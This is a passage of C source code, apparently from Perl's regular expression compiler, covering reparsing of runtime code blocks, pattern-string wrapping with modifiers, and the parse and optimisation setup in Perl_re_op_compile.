SvUTF8(qr)); } else { int n = 0; STRLEN s; char *p, *newpat; int newlen = plen + 7; /* allow for "qr''xx\0" extra chars */ SV *sv, *qr_ref; dSP; /* determine how many extra chars we need for ' and \ escaping */ for (s = 0; s < plen; s++) { if (pat[s] == '\'' || pat[s] == '\\') newlen++; } Newx(newpat, newlen, char); p = newpat; *p++ = 'q'; *p++ = 'r'; *p++ = '\''; for (s = 0; s < plen; s++) { if ( pRExC_state->code_blocks && n < pRExC_state->code_blocks->count && s == pRExC_state->code_blocks->cb[n].start) { /* blank out literal code block so that they aren't * recompiled: eg change from/to: * /(?{xyz})/ * /(?=====)/ * and * /(??{xyz})/ * /(?======)/ * and * /(?(?{xyz}))/ * /(?(?=====))/ */ assert(pat[s] == '('); assert(pat[s+1] == '?'); *p++ = '('; *p++ = '?'; s += 2; while (s < pRExC_state->code_blocks->cb[n].end) { *p++ = '='; s++; } *p++ = ')'; n++; continue; } if (pat[s] == '\'' || pat[s] == '\\') *p++ = '\\'; *p++ = pat[s]; } *p++ = '\''; if (pRExC_state->pm_flags & RXf_PMf_EXTENDED) { *p++ = 'x'; if (pRExC_state->pm_flags & RXf_PMf_EXTENDED_MORE) { *p++ = 'x'; } } *p++ = '\0'; DEBUG_COMPILE_r({ Perl_re_printf( aTHX_ "%sre-parsing pattern for runtime code:%s %s\n", PL_colors[4], PL_colors[5], newpat); }); sv = newSVpvn_flags(newpat, p-newpat-1, RExC_utf8 ? SVf_UTF8 : 0); Safefree(newpat); ENTER; SAVETMPS; save_re_context(); PUSHSTACKi(PERLSI_REQUIRE); /* G_RE_REPARSING causes the toker to collapse \\ into \ when * parsing qr''; normally only q'' does this. It also alters * hints handling */ eval_sv(sv, G_SCALAR|G_RE_REPARSING); SvREFCNT_dec_NN(sv); SPAGAIN; qr_ref = POPs; PUTBACK; { SV * const errsv = ERRSV; if (SvTRUE_NN(errsv)) /* use croak_sv ? */ Perl_croak_nocontext("%" SVf, SVfARG(errsv)); } assert(SvROK(qr_ref)); qr = SvRV(qr_ref); assert(SvTYPE(qr) == SVt_REGEXP && RX_ENGINE((REGEXP*)qr)->op_comp); /* the leaving below frees the tmp qr_ref. * Give qr a life of its own */ SvREFCNT_inc(qr); POPSTACK; FREETMPS; LEAVE; } if (!RExC_utf8 && SvUTF8(qr)) { /* first time through; the pattern got upgraded; save the * qr for the next time through */ assert(!pRExC_state->runtime_code_qr); pRExC_state->runtime_code_qr = qr; return 0; } /* extract any code blocks within the returned qr// */ /* merge the main (r1) and run-time (r2) code blocks into one */ { RXi_GET_DECL(ReANY((REGEXP *)qr), r2); struct reg_code_block *new_block, *dst; RExC_state_t * const r1 = pRExC_state; /* convenient alias */ int i1 = 0, i2 = 0; int r1c, r2c; if (!r2->code_blocks || !r2->code_blocks->count) /* we guessed wrong */ { SvREFCNT_dec_NN(qr); return 1; } if (!r1->code_blocks) r1->code_blocks = S_alloc_code_blocks(aTHX_ 0); r1c = r1->code_blocks->count; r2c = r2->code_blocks->count; Newx(new_block, r1c + r2c, struct reg_code_block); dst = new_block; while (i1 < r1c || i2 < r2c) { struct reg_code_block *src; bool is_qr = 0; if (i1 == r1c) { src = &r2->code_blocks->cb[i2++]; is_qr = 1; } else if (i2 == r2c) src = &r1->code_blocks->cb[i1++]; else if ( r1->code_blocks->cb[i1].start < r2->code_blocks->cb[i2].start) { src = &r1->code_blocks->cb[i1++]; assert(src->end < r2->code_blocks->cb[i2].start); } else { assert( r1->code_blocks->cb[i1].start > r2->code_blocks->cb[i2].start); src = &r2->code_blocks->cb[i2++]; is_qr = 1; assert(src->end < r1->code_blocks->cb[i1].start); } assert(pat[src->start] == '('); assert(pat[src->end] == ')'); dst->start = src->start; dst->end = src->end; dst->block = src->block; dst->src_regex = is_qr ? (REGEXP*) SvREFCNT_inc( (SV*) qr) : src->src_regex; dst++; } r1->code_blocks->count += r2c; Safefree(r1->code_blocks->cb); r1->code_blocks->cb = new_block; } SvREFCNT_dec_NN(qr); return 1; } STATIC bool S_setup_longest(pTHX_ RExC_state_t *pRExC_state, struct reg_substr_datum *rsd, struct scan_data_substrs *sub, STRLEN longest_length) { /* This is the common code for setting up the floating and fixed length * string data extracted from Perl_re_op_compile() below. Returns a boolean * as to whether succeeded or not */ I32 t; SSize_t ml; bool eol = cBOOL(sub->flags & SF_BEFORE_EOL); bool meol = cBOOL(sub->flags & SF_BEFORE_MEOL); if (! (longest_length || (eol /* Can't have SEOL and MULTI */ && (! meol || (RExC_flags & RXf_PMf_MULTILINE))) ) /* See comments for join_exact for why REG_UNFOLDED_MULTI_SEEN */ || (RExC_seen & REG_UNFOLDED_MULTI_SEEN)) { return FALSE; } /* copy the information about the longest from the reg_scan_data over to the program. */ if (SvUTF8(sub->str)) { rsd->substr = NULL; rsd->utf8_substr = sub->str; } else { rsd->substr = sub->str; rsd->utf8_substr = NULL; } /* end_shift is how many chars that must be matched that follow this item. We calculate it ahead of time as once the lookbehind offset is added in we lose the ability to correctly calculate it.*/ ml = sub->minlenp ? *(sub->minlenp) : (SSize_t)longest_length; rsd->end_shift = ml - sub->min_offset - longest_length /* XXX SvTAIL is always false here - did you mean FBMcf_TAIL * intead? - DAPM + (SvTAIL(sub->str) != 0) */ + sub->lookbehind; t = (eol/* Can't have SEOL and MULTI */ && (! meol || (RExC_flags & RXf_PMf_MULTILINE))); fbm_compile(sub->str, t ? FBMcf_TAIL : 0); return TRUE; } STATIC void S_set_regex_pv(pTHX_ RExC_state_t *pRExC_state, REGEXP *Rx) { /* Calculates and sets in the compiled pattern 'Rx' the string to compile, * properly wrapped with the right modifiers */ bool has_p = ((RExC_rx->extflags & RXf_PMf_KEEPCOPY) == RXf_PMf_KEEPCOPY); bool has_charset = RExC_utf8 || (get_regex_charset(RExC_rx->extflags) != REGEX_DEPENDS_CHARSET); /* The caret is output if there are any defaults: if not all the STD * flags are set, or if no character set specifier is needed */ bool has_default = (((RExC_rx->extflags & RXf_PMf_STD_PMMOD) != RXf_PMf_STD_PMMOD) || ! has_charset); bool has_runon = ((RExC_seen & REG_RUN_ON_COMMENT_SEEN) == REG_RUN_ON_COMMENT_SEEN); U8 reganch = (U8)((RExC_rx->extflags & RXf_PMf_STD_PMMOD) >> RXf_PMf_STD_PMMOD_SHIFT); const char *fptr = STD_PAT_MODS; /*"msixxn"*/ char *p; STRLEN pat_len = RExC_precomp_end - RExC_precomp; /* We output all the necessary flags; we never output a minus, as all * those are defaults, so are * covered by the caret */ const STRLEN wraplen = pat_len + has_p + has_runon + has_default /* If needs a caret */ + PL_bitcount[reganch] /* 1 char for each set standard flag */ /* If needs a character set specifier */ + ((has_charset) ? MAX_CHARSET_NAME_LENGTH : 0) + (sizeof("(?:)") - 1); PERL_ARGS_ASSERT_SET_REGEX_PV; /* make sure PL_bitcount bounds not exceeded */ assert(sizeof(STD_PAT_MODS) <= 8); p = sv_grow(MUTABLE_SV(Rx), wraplen + 1); /* +1 for the ending NUL */ SvPOK_on(Rx); if (RExC_utf8) SvFLAGS(Rx) |= SVf_UTF8; *p++='('; *p++='?'; /* If a default, cover it using the caret */ if (has_default) { *p++= DEFAULT_PAT_MOD; } if (has_charset) { STRLEN len; const char* name; name = get_regex_charset_name(RExC_rx->extflags, &len); if strEQ(name, DEPENDS_PAT_MODS) { /* /d under UTF-8 => /u */ assert(RExC_utf8); name = UNICODE_PAT_MODS; len = sizeof(UNICODE_PAT_MODS) - 1; } Copy(name, p, len, char); p += len; } if (has_p) *p++ = KEEPCOPY_PAT_MOD; /*'p'*/ { char ch; while((ch = *fptr++)) { if(reganch & 1) *p++ = ch; reganch >>= 1; } } *p++ = ':'; Copy(RExC_precomp, p, pat_len, char); assert ((RX_WRAPPED(Rx) - p) < 16); RExC_rx->pre_prefix = p - RX_WRAPPED(Rx); p += pat_len; /* Adding a trailing \n causes this to compile properly: my $R = qr / A B C # D E/x; /($R)/ Otherwise the parens are considered part of the comment */ if (has_runon) *p++ = '\n'; *p++ = ')'; *p = 0; SvCUR_set(Rx, p - RX_WRAPPED(Rx)); } /* * Perl_re_op_compile - the perl internal RE engine's function to compile a * regular expression into internal code. * The pattern may be passed either as: * a list of SVs (patternp plus pat_count) * a list of OPs (expr) * If both are passed, the SV list is used, but the OP list indicates * which SVs are actually pre-compiled code blocks * * The SVs in the list have magic and qr overloading applied to them (and * the list may be modified in-place with replacement SVs in the latter * case). * * If the pattern hasn't changed from old_re, then old_re will be * returned. * * eng is the current engine. If that engine has an op_comp method, then * handle directly (i.e. we assume that op_comp was us); otherwise, just * do the initial concatenation of arguments and pass on to the external * engine. * * If is_bare_re is not null, set it to a boolean indicating whether the * arg list reduced (after overloading) to a single bare regex which has * been returned (i.e. /$qr/). * * orig_rx_flags contains RXf_* flags. See perlreapi.pod for more details. * * pm_flags contains the PMf_* flags, typically based on those from the * pm_flags field of the related PMOP. Currently we're only interested in * PMf_HAS_CV, PMf_IS_QR, PMf_USE_RE_EVAL. * * For many years this code had an initial sizing pass that calculated * (sometimes incorrectly, leading to security holes) the size needed for the * compiled pattern. That was changed by commit * 7c932d07cab18751bfc7515b4320436273a459e2 in 5.29, which reallocs the size, a * node at a time, as parsing goes along. Patches welcome to fix any obsolete * references to this sizing pass. * * Now, an initial crude guess as to the size needed is made, based on the * length of the pattern. Patches welcome to improve that guess. That amount * of space is malloc'd and then immediately freed, and then clawed back node * by node. This design is to minimze, to the extent possible, memory churn * when doing the the reallocs. * * A separate parentheses counting pass may be needed in some cases. * (Previously the sizing pass did this.) Patches welcome to reduce the number * of these cases. * * The existence of a sizing pass necessitated design decisions that are no * longer needed. There are potential areas of simplification. * * Beware that the optimization-preparation code in here knows about some * of the structure of the compiled regexp. [I'll say.] */ REGEXP * Perl_re_op_compile(pTHX_ SV ** const patternp, int pat_count, OP *expr, const regexp_engine* eng, REGEXP *old_re, bool *is_bare_re, const U32 orig_rx_flags, const U32 pm_flags) { dVAR; REGEXP *Rx; /* Capital 'R' means points to a REGEXP */ STRLEN plen; char *exp; regnode *scan; I32 flags; SSize_t minlen = 0; U32 rx_flags; SV *pat; SV** new_patternp = patternp; /* these are all flags - maybe they should be turned * into a single int with different bit masks */ I32 sawlookahead = 0; I32 sawplus = 0; I32 sawopen = 0; I32 sawminmod = 0; regex_charset initial_charset = get_regex_charset(orig_rx_flags); bool recompile = 0; bool runtime_code = 0; scan_data_t data; RExC_state_t RExC_state; RExC_state_t * const pRExC_state = &RExC_state; #ifdef TRIE_STUDY_OPT int restudied = 0; RExC_state_t copyRExC_state; #endif GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_RE_OP_COMPILE; DEBUG_r(if (!PL_colorset) reginitcolors()); /* Initialize these here instead of as-needed, as is quick and avoids * having to test them each time otherwise */ if (! PL_InBitmap) { #ifdef DEBUGGING char * dump_len_string; #endif /* This is calculated here, because the Perl program that generates the * static global ones doesn't currently have access to * NUM_ANYOF_CODE_POINTS */ PL_InBitmap = _new_invlist(2); PL_InBitmap = _add_range_to_invlist(PL_InBitmap, 0, NUM_ANYOF_CODE_POINTS - 1); #ifdef DEBUGGING dump_len_string = PerlEnv_getenv("PERL_DUMP_RE_MAX_LEN"); if ( ! dump_len_string || ! grok_atoUV(dump_len_string, (UV *)&PL_dump_re_max_len, NULL)) { PL_dump_re_max_len = 60; /* A reasonable default */ } #endif } pRExC_state->warn_text = NULL; pRExC_state->unlexed_names = NULL; pRExC_state->code_blocks = NULL; if (is_bare_re) *is_bare_re = FALSE; if (expr && (expr->op_type == OP_LIST || (expr->op_type == OP_NULL && expr->op_targ == OP_LIST))) { /* allocate code_blocks if needed */ OP *o; int ncode = 0; for (o = cLISTOPx(expr)->op_first; o; o = OpSIBLING(o)) if (o->op_type == OP_NULL && (o->op_flags & OPf_SPECIAL)) ncode++; /* count of DO blocks */ if (ncode) pRExC_state->code_blocks = S_alloc_code_blocks(aTHX_ ncode); } if (!pat_count) { /* compile-time pattern with just OP_CONSTs and DO blocks */ int n; OP *o; /* find how many CONSTs there are */ assert(expr); n = 0; if (expr->op_type == OP_CONST) n = 1; else for (o = cLISTOPx(expr)->op_first; o; o = OpSIBLING(o)) { if (o->op_type == OP_CONST) n++; } /* fake up an SV array */ assert(!new_patternp); Newx(new_patternp, n, SV*); SAVEFREEPV(new_patternp); pat_count = n; n = 0; if (expr->op_type == OP_CONST) new_patternp[n] = cSVOPx_sv(expr); else for (o = cLISTOPx(expr)->op_first; o; o = OpSIBLING(o)) { if (o->op_type == OP_CONST) new_patternp[n++] = cSVOPo_sv; } } DEBUG_PARSE_r(Perl_re_printf( aTHX_ "Assembling pattern from %d elements%s\n", pat_count, orig_rx_flags & RXf_SPLIT ? " for split" : "")); /* set expr to the first arg op */ if (pRExC_state->code_blocks && pRExC_state->code_blocks->count && expr->op_type != OP_CONST) { expr = cLISTOPx(expr)->op_first; assert( expr->op_type == OP_PUSHMARK || (expr->op_type == OP_NULL && expr->op_targ == OP_PUSHMARK) || expr->op_type == OP_PADRANGE); expr = OpSIBLING(expr); } pat = S_concat_pat(aTHX_ pRExC_state, NULL, new_patternp, pat_count, expr, &recompile, NULL); /* handle bare (possibly after overloading) regex: foo =~ $re */ { SV *re = pat; if (SvROK(re)) re = SvRV(re); if (SvTYPE(re) == SVt_REGEXP) { if (is_bare_re) *is_bare_re = TRUE; SvREFCNT_inc(re); DEBUG_PARSE_r(Perl_re_printf( aTHX_ "Precompiled pattern%s\n", orig_rx_flags & RXf_SPLIT ? " for split" : "")); return (REGEXP*)re; } } exp = SvPV_nomg(pat, plen); if (!eng->op_comp) { if ((SvUTF8(pat) && IN_BYTES) || SvGMAGICAL(pat) || SvAMAGIC(pat)) { /* make a temporary copy; either to convert to bytes, * or to avoid repeating get-magic / overloaded stringify */ pat = newSVpvn_flags(exp, plen, SVs_TEMP | (IN_BYTES ? 0 : SvUTF8(pat))); } return CALLREGCOMP_ENG(eng, pat, orig_rx_flags); } /* ignore the utf8ness if the pattern is 0 length */ RExC_utf8 = RExC_orig_utf8 = (plen == 0 || IN_BYTES) ? 0 : SvUTF8(pat); RExC_uni_semantics = 0; RExC_contains_locale = 0; RExC_strict = cBOOL(pm_flags & RXf_PMf_STRICT); RExC_in_script_run = 0; RExC_study_started = 0; pRExC_state->runtime_code_qr = NULL; RExC_frame_head= NULL; RExC_frame_last= NULL; RExC_frame_count= 0; RExC_latest_warn_offset = 0; RExC_use_BRANCHJ = 0; RExC_total_parens = 0; RExC_open_parens = NULL; RExC_close_parens = NULL; RExC_paren_names = NULL; RExC_size = 0; RExC_seen_d_op = FALSE; #ifdef DEBUGGING RExC_paren_name_list = NULL; #endif DEBUG_r({ RExC_mysv1= sv_newmortal(); RExC_mysv2= sv_newmortal(); }); DEBUG_COMPILE_r({ SV *dsv= sv_newmortal(); RE_PV_QUOTED_DECL(s, RExC_utf8, dsv, exp, plen, PL_dump_re_max_len); Perl_re_printf( aTHX_ "%sCompiling REx%s %s\n", PL_colors[4], PL_colors[5], s); }); /* we jump here if we have to recompile, e.g., from upgrading the pattern * to utf8 */ if ((pm_flags & PMf_USE_RE_EVAL) /* this second condition covers the non-regex literal case, * i.e. $foo =~ '(?{})'. */ || (IN_PERL_COMPILETIME && (PL_hints & HINT_RE_EVAL)) ) runtime_code = S_has_runtime_code(aTHX_ pRExC_state, exp, plen); redo_parse: /* return old regex if pattern hasn't changed */ /* XXX: note in the below we have to check the flags as well as the * pattern. * * Things get a touch tricky as we have to compare the utf8 flag * independently from the compile flags. */ if ( old_re && !recompile && !!RX_UTF8(old_re) == !!RExC_utf8 && ( RX_COMPFLAGS(old_re) == ( orig_rx_flags & RXf_PMf_FLAGCOPYMASK ) ) && RX_PRECOMP(old_re) && RX_PRELEN(old_re) == plen && memEQ(RX_PRECOMP(old_re), exp, plen) && !runtime_code /* with runtime code, always recompile */ ) { return old_re; } /* Allocate the pattern's SV */ RExC_rx_sv = Rx = (REGEXP*) newSV_type(SVt_REGEXP); RExC_rx = ReANY(Rx); if ( RExC_rx == NULL ) FAIL("Regexp out of space"); rx_flags = orig_rx_flags; if ( (UTF || RExC_uni_semantics) && initial_charset == REGEX_DEPENDS_CHARSET) { /* Set to use unicode semantics if the pattern is in utf8 and has the * 'depends' charset specified, as it means unicode when utf8 */ set_regex_charset(&rx_flags, REGEX_UNICODE_CHARSET); RExC_uni_semantics = 1; } RExC_pm_flags = pm_flags; if (runtime_code) { assert(TAINTING_get || !TAINT_get); if (TAINT_get) Perl_croak(aTHX_ "Eval-group in insecure regular expression"); if (!S_compile_runtime_code(aTHX_ pRExC_state, exp, plen)) { /* whoops, we have a non-utf8 pattern, whilst run-time code * got compiled as utf8. Try again with a utf8 pattern */ S_pat_upgrade_to_utf8(aTHX_ pRExC_state, &exp, &plen, pRExC_state->code_blocks ? pRExC_state->code_blocks->count : 0); goto redo_parse; } } assert(!pRExC_state->runtime_code_qr); RExC_sawback = 0; RExC_seen = 0; RExC_maxlen = 0; RExC_in_lookbehind = 0; RExC_seen_zerolen = *exp == '^' ? -1 : 0; #ifdef EBCDIC RExC_recode_x_to_native = 0; #endif RExC_in_multi_char_class = 0; RExC_start = RExC_copy_start_in_constructed = RExC_copy_start_in_input = RExC_precomp = exp; RExC_precomp_end = RExC_end = exp + plen; RExC_nestroot = 0; RExC_whilem_seen = 0; RExC_end_op = NULL; RExC_recurse = NULL; RExC_study_chunk_recursed = NULL; RExC_study_chunk_recursed_bytes= 0; RExC_recurse_count = 0; pRExC_state->code_index = 0; /* Initialize the string in the compiled pattern. This is so that there is * something to output if necessary */ set_regex_pv(pRExC_state, Rx); DEBUG_PARSE_r({ Perl_re_printf( aTHX_ "Starting parse and generation\n"); RExC_lastnum=0; RExC_lastparse=NULL; }); /* Allocate space and zero-initialize. Note, the two step process of zeroing when in debug mode, thus anything assigned has to happen after that */ if (! RExC_size) { /* On the first pass of the parse, we guess how big this will be. Then * we grow in one operation to that amount and then give it back. As * we go along, we re-allocate what we need. * * XXX Currently the guess is essentially that the pattern will be an * EXACT node with one byte input, one byte output. This is crude, and * better heuristics are welcome. * * On any subsequent passes, we guess what we actually computed in the * latest earlier pass. Such a pass probably didn't complete so is * missing stuff. We could improve those guesses by knowing where the * parse stopped, and use the length so far plus apply the above * assumption to what's left. */ RExC_size = STR_SZ(RExC_end - RExC_start); } Newxc(RExC_rxi, sizeof(regexp_internal) + RExC_size, char, regexp_internal); if ( RExC_rxi == NULL ) FAIL("Regexp out of space"); Zero(RExC_rxi, sizeof(regexp_internal) + RExC_size, char); RXi_SET( RExC_rx, RExC_rxi ); /* We start from 0 (over from 0 in the case this is a reparse. The first * node parsed will give back any excess memory we have allocated so far). * */ RExC_size = 0; /* non-zero initialization begins here */ RExC_rx->engine= eng; RExC_rx->extflags = rx_flags; RXp_COMPFLAGS(RExC_rx) = orig_rx_flags & RXf_PMf_FLAGCOPYMASK; if (pm_flags & PMf_IS_QR) { RExC_rxi->code_blocks = pRExC_state->code_blocks; if (RExC_rxi->code_blocks) { RExC_rxi->code_blocks->refcnt++; } } RExC_rx->intflags = 0; RExC_flags = rx_flags; /* don't let top level (?i) bleed */ RExC_parse = exp; /* This NUL is guaranteed because the pattern comes from an SV*, and the sv * code makes sure the final byte is an uncounted NUL. But should this * ever not be the case, lots of things could read beyond the end of the * buffer: loops like * while(isFOO(*RExC_parse)) RExC_parse++; * strchr(RExC_parse, "foo"); * etc. So it is worth noting. */ assert(*RExC_end == '\0'); RExC_naughty = 0; RExC_npar = 1; RExC_parens_buf_size = 0; RExC_emit_start = RExC_rxi->program; pRExC_state->code_index = 0; *((char*) RExC_emit_start) = (char) REG_MAGIC; RExC_emit = 1; /* Do the parse */ if (reg(pRExC_state, 0, &flags, 1)) { /* Success!, But we may need to redo the parse knowing how many parens * there actually are */ if (IN_PARENS_PASS) { flags |= RESTART_PARSE; } /* We have that number in RExC_npar */ RExC_total_parens = RExC_npar; /* XXX For backporting, use long jumps if there is any possibility of * overflow */ if (RExC_size > U16_MAX && ! RExC_use_BRANCHJ) { RExC_use_BRANCHJ = TRUE; flags |= RESTART_PARSE; } } else if (! MUST_RESTART(flags)) { ReREFCNT_dec(Rx); Perl_croak(aTHX_ "panic: reg returned failure to re_op_compile, flags=%#" UVxf, (UV) flags); } /* Here, we either have success, or we have to redo the parse for some reason */ if (MUST_RESTART(flags)) { /* It's possible to write a regexp in ascii that represents Unicode codepoints outside of the byte range, such as via \x{100}. If we detect such a sequence we have to convert the entire pattern to utf8 and then recompile, as our sizing calculation will have been based on 1 byte == 1 character, but we will need to use utf8 to encode at least some part of the pattern, and therefore must convert the whole thing. -- dmq */ if (flags & NEED_UTF8) { /* We have stored the offset of the final warning output so far. * That must be adjusted. Any variant characters between the start * of the pattern and this warning count for 2 bytes in the final, * so just add them again */ if (UNLIKELY(RExC_latest_warn_offset > 0)) { RExC_latest_warn_offset += variant_under_utf8_count((U8 *) exp, (U8 *) exp + RExC_latest_warn_offset); } S_pat_upgrade_to_utf8(aTHX_ pRExC_state, &exp, &plen, pRExC_state->code_blocks ? pRExC_state->code_blocks->count : 0); DEBUG_PARSE_r(Perl_re_printf( aTHX_ "Need to redo parse after upgrade\n")); } else { DEBUG_PARSE_r(Perl_re_printf( aTHX_ "Need to redo parse\n")); } if (ALL_PARENS_COUNTED) { /* Make enough room for all the known parens, and zero it */ Renew(RExC_open_parens, RExC_total_parens, regnode_offset); Zero(RExC_open_parens, RExC_total_parens, regnode_offset); RExC_open_parens[0] = 1; /* +1 for REG_MAGIC */ Renew(RExC_close_parens, RExC_total_parens, regnode_offset); Zero(RExC_close_parens, RExC_total_parens, regnode_offset); } else { /* Parse did not complete. Reinitialize the parentheses structures */ RExC_total_parens = 0; if (RExC_open_parens) { Safefree(RExC_open_parens); RExC_open_parens = NULL; } if (RExC_close_parens) { Safefree(RExC_close_parens); RExC_close_parens = NULL; } } /* Clean up what we did in this parse */ SvREFCNT_dec_NN(RExC_rx_sv); goto redo_parse; } /* Here, we have successfully parsed and generated the pattern's program * for the regex engine. We are ready to finish things up and look for * optimizations. */ /* Update the string to compile, with correct modifiers, etc */ set_regex_pv(pRExC_state, Rx); RExC_rx->nparens = RExC_total_parens - 1; /* Uses the upper 4 bits of the FLAGS field, so keep within that size */ if (RExC_whilem_seen > 15) RExC_whilem_seen = 15; DEBUG_PARSE_r({ Perl_re_printf( aTHX_ "Required size %" IVdf " nodes\n", (IV)RExC_size); RExC_lastnum=0; RExC_lastparse=NULL; }); #ifdef RE_TRACK_PATTERN_OFFSETS DEBUG_OFFSETS_r(Perl_re_printf( aTHX_ "%s %" UVuf " bytes for offset annotations.\n", RExC_offsets ? "Got" : "Couldn't get", (UV)((RExC_offsets[0] * 2 + 1)))); DEBUG_OFFSETS_r(if (RExC_offsets) { const STRLEN len = RExC_offsets[0]; STRLEN i; GET_RE_DEBUG_FLAGS_DECL; Perl_re_printf( aTHX_ "Offsets: [%" UVuf "]\n\t", (UV)RExC_offsets[0]); for (i = 1; i <= len; i++) { if (RExC_offsets[i*2-1] || RExC_offsets[i*2]) Perl_re_printf( aTHX_ "%" UVuf ":%" UVuf "[%" UVuf "] ", (UV)i, (UV)RExC_offsets[i*2-1], (UV)RExC_offsets[i*2]); } Perl_re_printf( aTHX_ "\n"); }); #else SetProgLen(RExC_rxi,RExC_size); #endif DEBUG_OPTIMISE_r( Perl_re_printf( aTHX_ "Starting post parse optimization\n"); ); /* XXXX To minimize changes to RE engine we always allocate 3-units-long substrs field. */ Newx(RExC_rx->substrs, 1, struct reg_substr_data); if (RExC_recurse_count) { Newx(RExC_recurse, RExC_recurse_count, regnode *); SAVEFREEPV(RExC_recurse); } if (RExC_seen & REG_RECURSE_SEEN) { /* Note, RExC_total_parens is 1 + the number of parens in a pattern. * So its 1 if there are no parens. */ RExC_study_chunk_recursed_bytes= (RExC_total_parens >> 3) + ((RExC_total_parens & 0x07) != 0); Newx(RExC_study_chunk_recursed, RExC_study_chunk_recursed_bytes * RExC_total_parens, U8); SAVEFREEPV(RExC_study_chunk_recursed); } reStudy: RExC_rx->minlen = minlen = sawlookahead = sawplus = sawopen = sawminmod = 0; DEBUG_r( RExC_study_chunk_recursed_count= 0; ); Zero(RExC_rx->substrs, 1, struct reg_substr_data); if (RExC_study_chunk_recursed) { Zero(RExC_study_chunk_recursed, RExC_study_chunk_recursed_bytes * RExC_total_parens, U8); } #ifdef TRIE_STUDY_OPT if (!restudied) { StructCopy(&zero_scan_data, &data, scan_data_t); copyRExC_state = RExC_state; } else { U32 seen=RExC_seen; DEBUG_OPTIMISE_r(Perl_re_printf( aTHX_ "Restudying\n")); RExC_state = copyRExC_state; if (seen & REG_TOP_LEVEL_BRANCHES_SEEN) RExC_seen |= REG_TOP_LEVEL_BRANCHES_SEEN; else RExC_seen &= ~REG_TOP_LEVEL_BRANCHES_SEEN; StructCopy(&zero_scan_data, &data, scan_data_t); } #else StructCopy(&zero_scan_data, &data, scan_data_t); #endif /* Dig out information for optimizations. */ RExC_rx->extflags = RExC_flags; /* was pm_op */ /*dmq: removed as part of de-PMOP: pm->op_pmflags = RExC_flags; */ if (UTF) SvUTF8_on(Rx); /* Unicode in it? */ RExC_rxi->regstclass = NULL; if (RExC_naughty >= TOO_NAUGHTY) /* Probably an expensive pattern. */ RExC_rx->intflags |= PREGf_NAUGHTY; scan = RExC_rxi->program + 1; /* First BRANCH. */ /* testing for BRANCH here tells us whether there is "must appear" data in the pattern. If there is then we can use it for optimisations */ if (!(RExC_seen & REG_TOP_LEVEL_BRANCHES_SEEN)) { /* Only one top-level choice. */ SSize_t fake; STRLEN longest_length[2]; regnode_ssc ch_class; /* pointed to by data */ int stclass_flag; SSize_t last_close = 0; /* pointed to by data */ regnode *first= scan; regnode *first_next= regnext(first); int i; /* * Skip introductions and multiplicators >= 1 * so that we can extract the 'meat' of the pattern that must * match in the large if() sequence following. * NOTE that EXACT is NOT covered here, as it is normally * picked up by the optimiser separately. * * This is unfortunate as the optimiser isnt handling lookahead * properly currently. * */ while ((OP(first) == OPEN && (sawopen = 1)) || /* An OR of *one* alternative - should not happen now. */ (OP(first) == BRANCH && OP(first_next) != BRANCH) || /* for now we can't handle lookbehind IFMATCH*/ (OP(first) == IFMATCH && !first->flags && (sawlookahead = 1)) || (OP(first) == PLUS) || (OP(first) == MINMOD) || /* An {n,m} with n>0 */ (PL_regkind[OP(first)] == CURLY && ARG1(first) > 0) || (OP(first) == NOTHING && PL_regkind[OP(first_next)] != END )) { /* * the only op that could be a regnode is PLUS, all the rest * will be regnode_1 or regnode_2. * * (yves doesn't think this is true) */ if (OP(first) == PLUS) sawplus = 1; else { if (OP(first) == MINMOD) sawminmod = 1; first += regarglen[OP(first)]; } first = NEXTOPER(first); first_next= regnext(first); } /* Starting-point info. */ again: DEBUG_PEEP("first:", first, 0, 0); /* Ignore EXACT as we deal with it later. */ if (PL_regkind[OP(first)] == EXACT) { if ( OP(first) == EXACT || OP(first) == EXACT_ONLY8 || OP(first) == EXACTL) { NOOP; /* Empty, get anchored substr later. */ } else RExC_rxi->regstclass = first; } #ifdef TRIE_STCLASS else if (PL_regkind[OP(first)] == TRIE && ((reg_trie_data *)RExC_rxi->data->data[ ARG(first) ])->minlen>0) { /* this can happen only on restudy */ RExC_rxi->regstclass = construct_ahocorasick_from_trie(pRExC_state, (regnode *)first, 0); } #endif else if (REGNODE_SIMPLE(OP(first))) RExC_rxi->regstclass = first; else if (PL_regkind[OP(first)] == BOUND || PL_regkind[OP(first)] == NBOUND) RExC_rxi->regstclass = first; else if (PL_regkind[OP(first)] == BOL) { RExC_rx->intflags |= (OP(first) == MBOL ? PREGf_ANCH_MBOL : PREGf_ANCH_SBOL); first = NEXTOPER(first); goto again; } else if (OP(first) == GPOS) { RExC_rx->intflags |= PREGf_ANCH_GPOS; first = NEXTOPER(first); goto again; } else if ((!sawopen || !RExC_sawback) && !sawlookahead && (OP(first) == STAR && PL_regkind[OP(NEXTOPER(first))] == REG_ANY) && !(RExC_rx->intflags & PREGf_ANCH) && !pRExC_state->code_blocks) { /* turn .* into ^.* with an implied $*=1 */ const int type = (OP(NEXTOPER(first)) == REG_ANY) ? PREGf_ANCH_MBOL : PREGf_ANCH_SBOL; RExC_rx->intflags |= (type | PREGf_IMPLICIT); first = NEXTOPER(first); goto again; } if (sawplus && !sawminmod && !sawlookahead && (!sawopen || !RExC_sawback) && !pRExC_state->code_blocks) /* May examine pos and $& */ /* x+ must match at the 1st pos of run of x's */ RExC_rx->intflags |= PREGf_SKIP; /* Scan is after the zeroth branch, first is atomic matcher. */ #ifdef TRIE_STUDY_OPT DEBUG_PARSE_r( if (!restudied) Perl_re_printf( aTHX_ "first at %" IVdf "\n", (IV)(first - scan + 1)) ); #else DEBUG_PARSE_r( Perl_re_printf( aTHX_ "first at %" IVdf "\n", (IV)(first - scan + 1)) ); #endif /* * If there's something expensive in the r.e., find the * longest literal string that must appear and make it the * regmust. Resolve ties in favor of later strings, since * the regstart check works with the beginning of the r.e. * and avoiding duplication strengthens checking. Not a * strong reason, but sufficient in the absence of others. * [Now we resolve ties in favor of the earlier string if * it happens that c_offset_min has been invalidated, since the * earlier string may buy us something the later one won't.] */ data.substrs[0].str = newSVpvs(""); data.substrs[1].str = newSVpvs(""); data.last_found = newSVpvs(""); data.cur_is_floating = 0; /* initially any found substring is fixed */ ENTER_with_name("study_chunk"); SAVEFREESV(data.substrs[0].str); SAVEFREESV(data.substrs[1].str); SAVEFREESV(data.last_found); first = scan; if (!RExC_rxi->regstclass) { ssc_init(pRExC_state, &ch_class); data.start_class = &ch_class; stclass_flag = SCF_DO_STCLASS_AND; } else /* XXXX Check for BOUND? */ stclass_flag = 0; data.last_closep = &last_close; DEBUG_RExC_seen(); /* * MAIN ENTRY FOR 